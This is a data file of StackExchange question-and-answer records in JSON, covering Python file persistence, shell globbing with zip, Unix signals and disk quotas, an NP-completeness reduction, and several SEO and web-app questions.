{  "id": "_codereview.157809"  , "question": "I sometimes do experiments at work and separate the computation and the analysis so I can do the computation on a cluster and the analysis locally and sometimes in a Jupyter notebook. I wrote a class which allows me to save results to a hidden file as if it was a dictionary. The idea is to create an object specifying the name of the experiment and from there you can use it as a dictionary, and it is saved to disk so you can access it from other python files. I'd appreciate any thoughts since IO isn't my forte. I used python 2.7 but I think it should work for python 3.0import osimport cPickle as pickleclass FileDict():    def __init__(self, name, default = None):        self.fpath = '.{}.fd'.format(name)        self.default = default    def __getitem__(self, key):        if os.path.isfile(self.fpath):            d = pickle.load(open(self.fpath))            if key in d:                return d[key]        else:            return self.default    def __setitem__(self, key, value):        if os.path.isfile(self.fpath):            d = pickle.load(open(self.fpath))            d[key] = value        else:            d = {key : value}        pickle.dump(d, open(self.fpath, 'w'))if __name__ == '__main__':    test = FileDict('test', 0)    print(test[1])    test[1] = 'thing'    print(test[1])    print(test[2])"  , "title": "A python default dictionary which seamlessly saves to disk"  , "tags": "python;python 2.7;file;io;dictionary"  } 
{  "id": "_cs.62323"  , "question": "In which stage ( on an ideal 5-stage pipeline ) are branches and hazards handled? How much is the branch penalty for a branch hazard or data hazard. Is there different stages to find data hazards or branch hazards ( meaning for example branch hazards occurs on the 2th stage in the pipeline) or are all hazards detected at a specific stage?"  , "title": "Basic question about branches and pipelines"  , "tags": "cpu pipelines"  } 
{  "id": "_unix.303949"  , "question": "I have a directory that contains several sub-directories. There is a question about zipping the files that contains an answer that I ever-so-slightly modified for my needs. for i in */; do zip zips/${i%/}.zip $i*.csv; doneHowever, I run into a bizarre problem. For the first set of folders, where zips/<name>.zip does not exist, I get this error:zip error: Nothing to do! (zips/2014-10.zip)        zip warning: name not matched: 2014-11/*.csvhowever when I just echo the zip statements:for i in */; do echo zip zips/${i%/}.zip $i*.csv; doneThen run the echoed command (zip zips/2014-10.zip 2014-10/*.csv), it works fine and zips up the folder. Then the fun part about that is that subsequent runs of the original command will actually zip up folders that didn't work the first time!To test this behavior yourself:cd /tmpmkdir -p 2016-01 2016-02 2016-03 zipsfor i in 2*/; do touch $i/one.csv; donefor i in 2*/; do touch $i/two.csv; donezip zips/2016-03.zip 2016-03/*.csvfor i in 2*/; do echo zip zips/${i%/}.zip $i*.csv; donefor i in 2*/; do zip zips/${i%/}.zip $i*.csv; doneYou'll see that the echo prints these statements:zip zips/2016-01.zip 2016-01/*.csvzip zips/2016-02.zip 2016-02/*.csvzip zips/2016-03.zip 2016-03/*.csvHowever, the actual zip command will tell you:        zip warning: name not matched: 2016-01/*.csvzip error: Nothing to do! (zips/2016-01.zip)        zip warning: name not matched: 2016-02/*.csvzip error: Nothing to do! (zips/2016-02.zip)updating: 2016-03/one.csv (stored 0%)updating: 2016-03/two.csv (stored 0%)So it's actually updating the zip file with the .csvs where the zip file exists, but not when the zip file is created. And if you copy one of the zip commands:$ zip zips/2016-02.zip 2016-02/*.csvadding: 2016-02/one.csv (stored 0%)adding: 2016-02/two.csv (stored 0%)Then re-run the zip-all-the-things:for i in 2*/; do zip zips/${i%/}.zip $i*.csv; doneYou'll see that it updates for 2016-02 and 2016-03. Here's my output of tree:. 2016-01  one.csv  two.csv 2016-02  one.csv  two.csv 2016-03  one.csv  two.csv zips     2016-02.zip     2016-03.zipAlso, (un)surprisingly, this works just fine:zsh -c $(for i in 2*/; do echo zip zips/${i%/}.zip $i*.csv; done)What am I doing wrong here? (note, I am using zsh instead of bash, if that makes any difference)"  , "title": "Why does `zip` in a for loop work when the file exists, but not when it doesn't?"  , "tags": "shell script;shell;zsh;quoting;zip"  , "accepted_answer": "Expansion by the shellThe quotes around $i*.csv make the difference.  With the quotes, the shell expands that string to 2014-11/*.csv.  That exact file doesn't exist, and zip reports an error.  Without quotes, the * also expands (via filename expansion/globbing), and the resulting zip command is a complete list of matching files, each as a separate argument.  You can get the second behaviour, inside the for loop, with:for i in */ ; do zip zips/${i%/}.zip $i*.csv ; doneExpansion by zipzip can also expand wildcards for itself, but not in all situations.  From the zip manual:The zip program can do the same matching on names that are in the zip archive being modified or, in the case of the -x (exclude) or -i (include) options, on the list of files to be operated on, by using backslashes or quotes to tell the shell not to do the name expansion.The original command works on subsequent attempts, after you've successfully created an archive, because zip tries to match the wildcards against the contents of the existing archive.  They exist there, and still exist on the filesystem, so they're reported with updating:.To get zip to handle the wildcards when creating the archive, use the -r (recurse) option to recurse into the requested directory, and -i (include) to limit it to files matching the pattern: for i in */ ; do zip -r zips/${i%/}.zip $i -i '*.csv' ; done"  } 
{  "id": "_unix.308181"  , "question": "Fig. 1 Pressing two times CTRL+C in Terminal does not act but puts two line breaks in Matlab's command lineI think there is something wrong with the keybindings. I have tried both Windows and Emacs unsuccessfully. The keybinding works in Mathematica. Debian 8.x is supported by MathWorks for Matlab so it should be supported. Related conditionsTyping CTRL+C in Matlab's prompt does not enter kill but a line break...Differential solutionsOpen Matlab's prompt and enter exit. Open System Monitor and give kill and/or force kill signal to Matlab   Matlab: 2016a, 2016b prereleaseHardware: Asus Zenbook UX303UAOS: Debian 8.5Linux kernel: 4.6 (backports)Related: [could not find finally anything; most conditions are related to the condition where you type the thing directly in Matlab's prompt]Service ticket of MathWorks: 02154064       "  , "title": "Why Matlab 2016a cannot be killed by Terminal's CTRL-C in Debian 8.5?"  , "tags": "debian;keyboard shortcuts;kill;matlab"  , "accepted_answer": "The default meaning of Ctrl+C is to send the signal SIGINT. The conventional meaning of SIGINT is to halt the task that's currently running in the foreground and let the user provide new input. I'm using task in the informal meaning of whatever the computer is doing. This is not necessarily a separate process. In a program like Matlab that reads successive commands and processes them a REPL SIGINT is supposed to bring the user back to that program's prompt, not to kill the program. When the foreground task is a program that does one job and then exits, SIGINT is supposed to kill the program since that's the way to bring the user back to the shell prompt.Try Ctrl+\\. This sends the signal SIGQUIT, and the conventional meaning of SIGQUIT is to exit immediately and (if the system is configured for it) leave a core dump. Not all programs keep that meaning, I don't know if Matlab does.If the kill signal keys aren't working, try Ctrl+Z to send SIGSTOP which suspends the program and brings you back to a shell prompt where you can send some other signal. When you suspend a job, the shell shows a message like[1]+  Stopped       matlabThe number in brackets is the job number. You can use %1 instead of a process ID to send a signal to the process from that shell, e.g. kill %1 here to send SIGTERM (normal kill signal), and if that doesn't work then kill -KILL %1 (SIGKILL, the kill signal that doesn't give the application a chance).If you can't interrupt the application to reach the shell running on that terminal, kill it from another shell running in another terminal."  } 
{  "id": "_cstheory.4866"  , "question": "Given a directed graph $G=(V,A)$ with a unique source node $s$ (a node without incoming edges) and a unique sink node $t$ (a node without outgoing edges).Given a sequence of variables $SEQ = (x_{i_1},x_{i_2},...,x_{i_m})$ with $|SEQ| > 2$ and each $i_j \\in [1..m]$For example $SEQ = (x_1,x_2,x_3,x_4,x_2,x_3,x_5)$ (m=5).A node assignment is a function $f: \\{x_1,...,x_m\\} \\rightarrow V$ such that if $i \\neq j$ then $f(x_i) \\neq f(x_j)$ (it maps each $x_j$ to a different node of the graph). Now, if in $SEQ$ we substitute $x_j$ with $f(x_j)$ we obtain a sequence $NODESEQ$ of nodes.We want to start from $s$ and end in $t$ so trivially $x_1 = s, x_m = t$.For example: $NODESEQ = (s,v_1,v_7,v_9,v_1,v_7,t)$A valid node assignment is an assignment such that if we substitute each $x_{i_j}$ with $f(x_{i_j})$ in the sequence $SEQ$ we obtain a valid path from $s$ to $t$.Problem 1:Given a directed graph $G$ with one source and one sink and a sequence of variables $SEQ$ check if a valid node assignment exists.I'm not an expert, but if we take $m=n=|V|$ and $SEQ=(x_1,...,x_n)$ then the problem becomes the Hamiltonian Path problem. Informally HAM-PATH can be reduced to Problem 1, adding a source node $s$ and a sink node $t$, two extra variables at the beginning and end of $SEQ$: $(x_s,x_1,...,x_n,x_t)$ and edges $(s,u), (v,t)$ for every $u,v \\in V$, (hence Problem 1 is in NPC).But we can modify it and drop the condition that if $i \\neq j$ then $f(x_i) \\neq f(x_j)$ i.e we can assign the same node $v$ to more than one $x_i$ (I call it relaxed node assignment). We get an (apparently) simpler problem.Problem 2:Given a directed graph $G$ with one source and one sink and a sequence of variables $SEQ$ check if a valid **relaxed node assignment** exists.An informal way to describe the problem: we have a chain made of segments. Now we wrap it up in some casual order and join some innermost endpoints. The problem 2 consists in checking if such wrapped chain can fit in a given graph.Is this problem known?Is it still an NPC problem?"  , "title": "Is it easy to fit a wrapped chain in a graph?"  , "tags": "ds.algorithms;graph algorithms"  , "accepted_answer": "Allow me to try to redeem my previous incorrect answer with an attempt at showing that this problem is NP-complete via a reduction from GRAPH 3-COLORABILITY. The key idea is to identify SEQ as a list of edges of some graph and observe that a relaxed node assignment corresponds to a graph homomorphism.Let $H = (U, E)$ be a connected, undirected graph with $U = \\{u_1, u_2, \\ldots, u_n\\}$. Let $P = (u_{a_1}, u_{a_2}, \\ldots, u_{a_p})$ be a (non-simple) path in $H$ that traverses every edge at least once (i.e.: if there is an edge between $u_i$ and $u_j$, then they appear consecutively in $P$ in either order). First, we need to show that $P$ is not too long. We can construct $P$ as follows:Start at $u_1$.Visit each neighbor of $u_1$, returning to $u_1$ after each visit. I.e., if the neighbors of $u_1$ are $u_{n_1}, u_{n_2}, \\ldots, u_{n_d}$, we have the following sequence: $u_1, u_{n_1}, u_1, u_{n_2}, u_1, \\dots, u_1, u_{n_d}, u_1$.Travel to $u_2$.Visit each neighbor of $u_2$.etc...By visiting each vertex's neighbors, each edge in $H$ is traversed. Each neighbor visitation step adds $O(n)$ steps to the path. Each travel to a successive vertex adds another $O(n)$ steps. So, in total length of $P = (u_{a_1}, u_{a_2}, \\ldots, u_{a_p})$ is $O(n^2)$.Let $SEQ = (x_0, x_{a_1}, x_{a_2}, x_{a_3},\\ldots,x_{a_p}, x_{n+1})$ be the sequence of variables.Let $G = (V, A)$ be the complete, directed graph on three vertices adjoined with a universal source and a universal sink. Explicitly, let $V = \\{v_1, v_2, v_3, v_{source}, v_{sink}\\}$. There is an arc from $v_{source}$ to $v_i$ and from $v_i$ to $v_{sink}$ for $i=1,2,3$. And, for all $i,j = 1,2,3, i \\neq j$ there is an arc from $v_i$ to $v_j$. Finally, we claim that a valid relaxed node assignment from $SEQ$ to $G$ exists iff $H$ is 3-colorable. Let $c:U \\rightarrow \\{1,2,3\\}$ be a 3-coloring of $H$. Let $f:X \\rightarrow V$ be defined by:$f(x_0) = v_{source}$$f(x_{n+1}) = v_{sink}$$f(x_i) = v_{c(u_i)}$It should be clear that $f$ is a valid relaxed node assignment. It should be equally clear that we can reverse this construction to use any valid relaxed node assignment to define a 3-coloring of $H$."  } 
{  "id": "_softwareengineering.264381"  , "question": "I have an angular app that concentrates most of its functionality around a primary entity that has several satellite entities. The UI for this is effectively one screen, with a few tabs, one for each satellite. There are also some modal dialogs with content for a couple of the satellites that deserve their own subview, produced by clicking on a link in a tab.The controller for this screen is growing rather large, as it has a set of REST calls for each entity, along with functions to produce and dismiss the various dialogs. All the subviews for the tabs are stuffed into the main screen as well, inside a tab set.How can I split out these files, giving each tab its own controller and view?"  , "title": "How can I structure my angular app so that I don't end up with one huge controller and view?"  , "tags": "mvc;angularjs"  } 
{  "id": "_webmaster.10452"  , "question": "Say I have a site 123example.com, with roughly 100 backlinks, which has increased from a google page 27 to page 12 for my keywords over the last month and continues toward the top 10... I have another domain 123.com, which has roughly 30 backlinks, that just points to the 1st domain. I would like to use 123.com as the primary domain and use a 301 redirect on 123example.com.Would I have to start my link building back over again for 123.com or will the backlinks and PR with the 301 redirect of 123example.com transfer over to the new domain?"  , "title": "301 redirect and page ranking"  , "tags": "domains;pagerank;301 redirect"  } 
{  "id": "_unix.67890"  , "question": "I am using Debian Squeeze. Suddenly I have started facing a problem that my user is not able to make directories and other such tasks. Running mkdir abc gives memkdir: cannot create directory 'abc': Disk quota exceededMy hard disk is not full df -h results areFilesystem            Size  Used Avail Use% Mounted on/dev/md1              1.8T   39G  1.8T   3% /tmpfs                 7.8G     0  7.8G   0% /lib/init/rwudev                  7.8G  148K  7.8G   1% /devtmpfs                 7.8G     0  7.8G   0% /dev/shm/dev/md0              243M   31M  200M  14% /bootuname -a output that might be needed isLinux server 2.6.32-5-686-bigmem #1 SMP Sun Sep 23 10:27:25 UTC 2012 i686 GNU/LinuxNote: If I login as root then everything is fine. This problem is only with a particular userEdit: output of quotaDisk quotas for user user (uid 1000): noneoutput of quota -gDisk quotas for group user (gid 1000): Filesystem  blocks   quota   limit   grace   files   quota   limit   grace/dev/disk/by-uuid/26fa7362-fbbf-4a9e-af4d-da6c2744263c8971324* 1048576 1048576    none   43784       0       0  "  , "title": "Disk quota exceeded problem"  , "tags": "debian"  , "accepted_answer": "The disk isn't full, but the disk space allowed for this user is full. You need to check quota(1), perhaps persuade the suspect to clean up their junk, or in an outburst of kindness increase it with edquota(8)."  } 
{  "id": "_unix.318654"  , "question": "How could I go about finding uneven file/directory permissions within a directory structure?  I've made some attempts at using the find command similar to:find /bin ! \\( -perm 777 -o -perm 776 -o -perm 775 -o -perm 774 -o -perm 773 -o -perm 772 -o -perm 771 -o -perm 770 -o -perm 760 -o -perm 750 -o -perm 740 -o -perm 730 -o -perm 720 -o -perm 710 -o -perm 700 -o -perm 600 -o -perm 500 -o -perm 400 but I run out of command line before I can complete the remaining permutations plus an -exec ls -lL {} \\;I've also been doing manual things similar to:ls -lL /bin | grep -v ^-rwxr-xr-x | grep -v ^-rwx--x--x | grep -v ^-rwsr-xr-x | grep -v ^-r-xr-xr-x | grep -v ^-rwxr-xr-t but again, I run out of command line before I can complete the remaining permutations.Both methods seem unusually awkward.  Is there a better, faster, easier way?  Note that I'm restricted in the shell I'm using (sh) and platform (Irix 6.5.22)."  , "title": "How would I find uneven file permissions within a directory structure?"  , "tags": "permissions;find;security;irix"  , "accepted_answer": "are you looking for executable files?find . -type f -perm /+xregardless, the / mode is more than likely your friend... here is the man page:   -perm /mode          Any  of  the  permission  bits mode are set for the file.  Symbolic modes are accepted in this form.  You must specify `u', `g' or `o' if you use a symbolic mode.  See the          EXAMPLES section for some illustrative examples.  If no permission bits in mode are set, this test matches any file (the idea here is to be consistent with  the  behaviour          of -perm -000).UPDATE:right, i though you were looking for uneven numbers (executable ones)...this should work (still using 3rd perm param from findsample data:$ ls000  001  002  003  004  005  006  007  010  020  030  040  050  060  070  100  200  300  400  500  600  700Find command:$ find . -type f \\( -perm /u-x,g+x -o -perm /u-w,g+w -o -perm /u-r,g+r -o -perm /g-x,o+x -o -perm /g-w,o+w -o -perm /g-r,o+r -o -perm /u-x,o+x -o -perm /u-w,o+w -o -perm /u-r,o+r \\) | sort./001./002./003./004./005./006./007./010./020./030./040./050./060./070Basically you are saying, give me files where group has perms but owner does not, or files where world has perms but group does not, or where world has perms but owner does not.note: find has 3x perm params;perm modeperm -modeperm /modeps I'm not all too sure of the value of this..."  } 
{  "id": "_webmaster.78322"  , "question": "I am a UX designer, and one of my clients had some questions for me about Google Analytics.  His organization has a Facebook page and uses some paid Facebook advertising.  The comments on many of his Facebook posts (which promote his new blog articles) come from his site's regular readers.Using a time scale in the past 30 days, Google Analytics is showing about 72% new users for his site.  In the same time period, about 65% of his traffic from Facebook is new users.  (If I shorten the time period to just yesterday, it's about 45% from Facebook and 63% from all sources.)  Since he expects most of his audience is regular readers, he would like to know: why would Google Analytics be showing so much of his audience as new?I told him that it's likely to be happening because of some combination of users using private browsing / Do Not Track and cookies not persisting between sessions.  But we would like to know if there are any other factors."  , "title": "Why does Google Analytics show such a high percentage of traffic from Facebook as new users?"  , "tags": "google analytics"  } 
{  "id": "_webapps.45376"  , "question": "When I receive an e-mail invitation via Google Apps, there are two places where it asks if I'm going, and I'm never sure which one to click (see screenshot).  Does it matter which one I click?  What's the difference, and why does it always ask twice?"  , "title": "Which set of response links should I use when responding to a meeting invitation in Gmail/Google Apps Email?"  , "tags": "gmail;google apps email"  , "accepted_answer": "There is no difference. The reason there are 2 is because top response is a Gmail add-on that recognizes a Google Calendar invitation, and then displays a Calendar widget to make it easier for you to reply.The second is the actual invitation email message, which does include RSVP links in the body text. The reason you see both is just that Gmail will add the widget automatically. If you invite a non-Gmail user, they will only see the email body text, and will have to use those links.My personal preference is to use the top links for 2 reasons:Clicking on the top link will highlight the RSVP selection in bold and will remember the choice if you open the email again. It's also more convenient to view your agenda as you respond.Clicking on the top link will let you respond in the email itself quickly and let you move on to other email. Clicking the bottom link will open a new tab and take you to Calendar, which is inconvenient when all I want to do is respond quickly and be done with it. I get no new information when forced into Calendar."  } 
{  "id": "_unix.189782"  , "question": "I am having trouble accessing a folder with a very long name with  in its name.seems like every time I try to input  the putty window is not parsing the character successfully.Any ideas?"  , "title": "putty does not allow me to input special chars"  , "tags": "centos;putty"  } 
{  "id": "_webmaster.107844"  , "question": "Google Search Console shows me my site search page duplicate Title Tag, "  , "title": "How can I avoid site search page duplicate title tag error in pagination of site search?"  , "tags": "google search console;web crawlers;webmaster"  } 
{  "id": "_codereview.20418"  , "question": "I've just created a teeny little script to count the seconds until I get auto-logged off.  I already solved my issue with my ssh client settings, but I'd still like any help making the bash script nicer to read, or just tips in general.#!/bin/bashcount=0while ( [ : ] )do  count=$(($count+1))  n=${n:-0}  for i in `seq 0 $n`; do echo -en '\\b'; done  n=${#count}  echo -n $count  sleep 1done"  , "title": "Counting seconds until auto-log-off"  , "tags": "bash"  , "accepted_answer": "count=0while true; do  printf \\r%d $((++count))  sleep 1doneYour while condition is doing a lot of work just to return true: you launch a subshell, and evaluate  a test giving a 1-character string (which will always return true). Make it simpler and more readable by just executing the true program.Note that variable names inside an arithmetic expression do not require the leading dollar sign in most cases. That's quietly documented here:Within an expression, shell variables may also be referenced by name without using the parameter expansion syntax.printf is more portable than echo, if that's a concern for you. I also find it makes your intentions more obvious.Instead of backing up the right number of characters, just carriage return to the first column and overwrite the previous contents."  } 
{  "id": "_unix.182743"  , "question": "I've edited /etc/passwd by running usermod -s to change my shell. (chsh doesn't work, because it prompts for a password; we SSH in using keys.)When I disconnect, and reconnect, the change doesn't take effect. I've restarted sshd too, and still nothing."  , "title": "Why do changes to /etc/passwd not take effect?"  , "tags": "ssh;login"  , "accepted_answer": "I use ControlMaster, and I wasn't actually disconnecting.ControlMaster is an SSH configuration option that keeps connections open for a certain time, and can multiplex SSH sessions over the same connection (which avoids key exchanges, which are slow). However, if you ^D from a shell, and then re-run ssh, you've not killed the original connection.Restarting sshd only restarts the listening process: any in-progress session remain alive, so that doesn't restart the connection either.Apparently launching a new shell doesn't re-check /etc/passwd for changes.Solution was just to kill the connection: ssh <hostname> -O exit, and log in again."  } 
{  "id": "_webmaster.43705"  , "question": "I have a web site in two different languages (English and Spanish).  It is indexed by Google but, when searched, sitelinks below my result appear mixed with Spanish and English subtitles.Each language is in a different folder (mydomain.com/en for pages in English and mydomain.com/es for pages in Spanish).Is there a way to help Google to distinguish between them?  The Spanish ones should show for the Spanish speakers and the English ones for the rest of users?"  , "title": "How can I prevent Google from mixing different languages in my sitelinks?"  , "tags": "seo;google;search engines;sitelinks"  , "accepted_answer": "I have a site localized into over forty languages and have no problem with my site links.You don't state what url structure your two sites are in.   Google recommends that your internationalized sites be on separate top level domains (example.com vs example.es), different sub-domains (www.example.com vs es.example.com), or different folders  (example.com/en/ vs example.com/es/).    Any other layout is likely to confuse Google.   Also, I don't recommend using the Accept-Language header for dynamically and automatically determine the language to use.Google usually chooses site links from links near the top of the page.  They tend to be the links that users click on most.   Make sure that you don't have Spanish links on your English pages or the other way round.  The link from your English site to your Spanish site would be better placed in your footer than at the top of the page.You should register both your Spanish site and your English site separately in Google Webmaster tools.   You can do so even if they are are sub-domains or in directories.  Once you have done so you can correct any site links that Google has wrong.  Under Configuration -> Sitelinks you can demote any link that Google has wrong for a specific page.  Use this feature to demote the Spanish site links that appear on your English site.   Fix the ones for your Spanish site too.  "  } 
{  "id": "_unix.280897"  , "question": "I want to extract the process having highest utilization on each processor coreand then output its information (PID etc.) to a file. How can I do it by using either top or ps command?Thanks."  , "title": "Process Scheduling Information Extraction"  , "tags": "ps;top"  , "accepted_answer": "How aboutps -k -pcpu -O pcpu,psr The k flag is your sort key which is percent CPU. Capital O changes the output to add the percent CPU utilisation and the current processor/cpu the process ran on. You get output like:  PID %CPU PSR S TTY          TIME COMMAND15049  5.8   2 S tty2     00:00:28 chrome14808  4.3   1 S tty2     00:00:21 chrome14448  3.9   5 S tty2     00:00:21 gnome-shell15234  1.8   5 S tty2     00:00:08 chrome14896  1.5   2 S tty2     00:00:07 chrome14322  1.2   0 S tty2     00:00:06 Xorgpercent cpu is the time column divided by the real time. You may get odd results if you have a busy process that then idles (but its average overall is still high or low, depending on what you were expecting).To get something to answer what's keeping my CPU busy in the last few seconds then top is a better tool.Also note, the processes will bounce around on the CPUs, so nailing down why a CPU runs hot can sometimes be tricky to work out. You generally want this to spread the load across them."  } 
{  "id": "_unix.345507"  , "question": "I have an java application that runs on windows and needs to be moved to linux. The executable for windows takes a config file as input which does a bunch of things like logging settings, classpaths, settings java path and other dependencies. In the config file, logging properties are set in this way: wrapper.logfile.format=LPTM  wrapper.logfile.loglevel=INFO    wrapper.syslog.loglevel=STATUSHow can this be achieved in the shell script that is going to execute the application? Also, is it possible to have a config file like such for the shell script as well?"  , "title": "Log file and properties for shell script"  , "tags": "shell script;logs"  } 
{  "id": "_codereview.111456"  , "question": "I've written a JavaScript dictionary sorting algorithm, which takes a .txt file (the dictionary), and loads it via node's file system. The purpose of this algorithm is to sort every word into its corresponding array based on its letter pattern. For example, the word little would have the letter pattern of ABCCDE, and hello would have the letter pattern of ABCCD. The purpose of this sorting algorithm is to use it to decode substitution ciphers; however, this is the only working code I've written so far for it. This code works, and I have a sorted dictionary file here.However, I want to know how I might be able to improve this algorithm to make it as fast and efficient as possible. Even though its only run once, I want to get into the habit of writing efficient code. To break down exactly what's going on in the algorithm I've added a few comments, but to elaborate it loads each word from the dictionary and stores it in an array, in which I then iterate through the array and each letter of the word. The clpl variable starts at 'A', and it checks if it exists in a temp object. If it does, it adds that letter to the letter pattern, if it does not, it creates a new property on the object and assigns it the current letter as a value. It adds the assigned letter to lp, which is initialized as an empty string.The line clpl = String.fromCharCode(clpl.charCodeAt(0) + 1);gets the next letter. After it has iterated through each letter in the word, it checks if the current letter pattern exists in the sortedDictionary object, if it does it pushes it to an array containing all words with its letter pattern. If it does not, it creates a new array for that letter pattern and pushes the current word to that array. After it has gone through every word, it writes the sortedDictionary object to an external JSON file. //load file systemvar fs = require(fs);//load jsonfilevar jsonfile = require(jsonfile);//create var for dictionary filevar dictFile = american-english, sortedDictFile = sortedDictionary.json;//empty object to hold sorted dictionary according to letter patterns//empty dictionary array to hold wordsvar sortedDictionary = {}, dictionary = [];//declare variables for usevar temp, clpl, lp, word;console.time(Dictionary Sort);fs.readFile(dictFile, utf8, function(error, data){    if(error) throw error;    //push all words into an array     dictionary = data.toString().split(\\n);    for(var i = 0; i < dictionary.length; i++){        //set word to current word in dictionary        word = dictionary[i];        //set temp to empty object, clpl to A, and lp to an empty string        //this is used to get the current letter pattern        temp = {}, clpl = 'A', lp = '';        for(var j = 0; j < word.length; j++){            if(word[j] in temp){              lp += temp[word[j]];            } else {              temp[word[j]] = clpl;              lp += clpl;              clpl = String.fromCharCode(clpl.charCodeAt(0) + 1);            }        }        //if letter pattern of word exists in sorted dictionary        if(lp in sortedDictionary){            //add word to the array of words with same letter pattern            sortedDictionary[lp].push(word);        } else {            //if letter pattern is new, create new array to store words            sortedDictionary[lp] = [];            //add word to the array of words with same letter pattern            sortedDictionary[lp].push(word);        }    }    //write the sortedDictionary object to the sortedDictionary.json file    jsonfile.writeFile(sortedDictFile, sortedDictionary, {spaces: 2}, function(error){        if(error) throw error;    });    //time to sort and write to json file - Dictionary Sort: 687ms (137602 lines)    console.timeEnd(Dictionary Sort);});"  , "title": "Sorting dictionary according to letter patterns"  , "tags": "javascript;node.js;cryptography"  , "accepted_answer": "This can be improved and shortened by naming the concepts you are using:A function called encodeWord that takes a single word and returns its encoded valueA function called groupedByCodes which takes an array of words, and returns the object you are seeking: codes as keys, and arrays of words that get encoded to those keys.This will have the following benefits:What your code is doing will be crystal clear.You'll have less codeMost of your temporary variables will vanishI've also purposefully left out the writing and reading of the files, as that's really a separate concern from your main program.  Rewriting it this way, you'll get something that looks like this:var sampleFile = CAT\\nDOG\\nTOM\\nBOB\\nTOT,    words = sampleFile.split(\\n);console.log(groupedByCodes(words));// { ABC: [ 'CAT', 'DOG', 'TOM' ], ABA: [ 'BOB', 'TOT' ] }function groupedByCodes(words) {  return words.reduce(function(dict, word) {    var code = encodeWord(word);    if (!dict[code]) dict[code] = [];     dict[code].push(word);    return dict;  }, {});}function encodeWord(word) {  var encodingDict = {}, nextCode = 65; //'A'  return word.split('').map(encodeLetter).join('');  function encodeLetter(l) {    return encodingDict[l] || (encodingDict[l] = String.fromCharCode(nextCode++));  }}"  } 
{  "id": "_unix.128852"  , "question": "My home partition on a Debian wheezy install is an encrypted LVM volume. It is ext3. Earlier today, I had a weird message in a terminal window about an attempt to write to a file in my /home tree failing due to having a read only file system. I rebooted and ended up with an error message saying /dev/sda1 is reported as clean. fsck.ext3, which runs automatically and reports that there is no such device as /dev/mapper/sda1_crypt and reports exit code 8. I get dropped to a maintenance  shell and told there was an attempt to write a log to /var/log/fsck/checkfs.That log reads:[Timestamp]fsck from util-linux 2.20.1/dev/mapper/sda1_crypt: Super blocks need_recovery flag is clear, but journal has data./dev/mapper/sda1_crypt: Run journal anyway/dev/mapper/sda1_crypt: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY     (i.e., without -a or -p options)fsck died with exit status 4I ran$ fsck -vnM /dev/mapper/sda1A bunch of illegal block #nnnn (mmmmmmmmm) in inode ppppppp IGNORED messages blew past, followed bytoo many blocks in Inode somenumberhereThen running additional passes to resolve blocks claimed by more than one inodeIt then outputPass 1B: Rescanning for multiply claimed blocksAfter a bit, I got a wall ofIllegal block number passed to ext2fs_test_block_bitmap somenumberhere for multiply claimed block mapThese were followed by 2 Multiply claimed blocks in I node anothernumber: [lists of 5 and 8 block numbers]Then I got a number of stanzas like[ 3828.181915] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0[ 3828.182462] ata1.01 BMDMA stat 0x64[ 3828.183810] ata1.01 failed command: READ DMA EXT[ 3828.185889] ata1.01 cmd 25/00:08:08:10:9c/00:00:29:00:00/f0 tag dma 4096 in[ 3828.185891] res 51/40:00:09:10:9c/40:00:29:00:00/f0 Emask 0x9 (media error)[ 3828.190071] ata1.01 status: { DRDY ERR }[ 3828.192153] ata1.01 status: { UNC }These were followed by[ 3830.509338] end_request: I/O error, deb SDA, sector 698093577[ 3830.509841] Buffer I/O error on device dm-3, logical block 87261184Error reading block 87261184 (Attempt to read block from filesystem resulted in short read) while reading I node and block bitmaps. Ignore error? nofsck.ext3: Can't read an block bitmap while retrying to read bitmaps for /dev/mappersfa1_crypt/dev/mapper/sda1_crypt: ******* WARNING: Filesystem still has errors *******e2fsck: aborted/dev/mapper/sda1_crypt: ******* WARNING: Filesystem still has errors *******And the it aborted with a warning that the filesystem still had errors.My questions are:Is my data toasted? (My rigorous backup policy hasn't been rigorously followed of late; I am being punished by the universe, I am sure.)What can/ought I to do now?Did I do the wrong thing already?Will someone hold me until the shaking stops?EDITI also asked on my local LUG mailing list. The advice I got there was to take an image of the drive with ddrescue and run fsck on a copy of that image. That seems sound and unlikely to make things worse. So, that is the present plan of attack, pending any better suggestions."  , "title": "encrypted ext3 damaged; how to proceed?"  , "tags": "encryption;data recovery;fsck"  } 
{  "id": "_webapps.87199"  , "question": "I'm creating a form where organizations can report on a number of different training positions which they provide.  These training positions are called 'posts'. On the first page of the form, users enter basic information about their posts, e.g. the 'post number'.  I've set this up as a repeating section, as one organization may have multiple posts.On the second page of the form, users need to enter more specific information relating to each of the posts they'd previously listed. Because of this, I'd like some of the information entered in the repeating section to be automatically populated here. For example, if a user lists three different posts in the repeating section on the first page, then the second page should display the details they entered for all three posts, with extra fields where they can provide further information for each.Essentially, I'm trying to dynamically create content and fields on one page based on what was entered in the repeating section on the previous page.  Is this possible?"  , "title": "Cognito Forms: dynamically displaying content entered into a repeating section on a subsequent page"  , "tags": "cognito forms"  } 
{  "id": "_unix.370421"  , "question": "I have enabled two serial ports in VirtualBox, and then typed the lspci command in Ubuntu, and this is the result:The serial ports are not listed, is it because the serial ports are not part of the PCI bus?"  , "title": "Why the lspci command does not list the serial ports?"  , "tags": "linux;serial port;x86;pci"  , "accepted_answer": "is it because the serial ports are not part of the PCI bus?Yes. Traditional PC serial ports on x86 hardware interface with applications via old-style ISA I/O ports and interrupts. Keep in mind that RS-232 data rates are down in the kHz range in the vast majority of cases. PCI holds no advantage for RS-232.Add-on PCI serial port cards may appear in lspci output, but that's more about available slots than the appropriateness of PCI to RS-232."  } 
{  "id": "_webmaster.101400"  , "question": "we're currently rebuilding a client's application and are wondering if there are any benefits of serving specific pages to crawlers?I.E. Semantic html, no stylesheets, additional meta tags?Would love to know what you think"  , "title": "SEO benefits of serving simplified pages to crawlers"  , "tags": "seo;html;googlebot"  } 
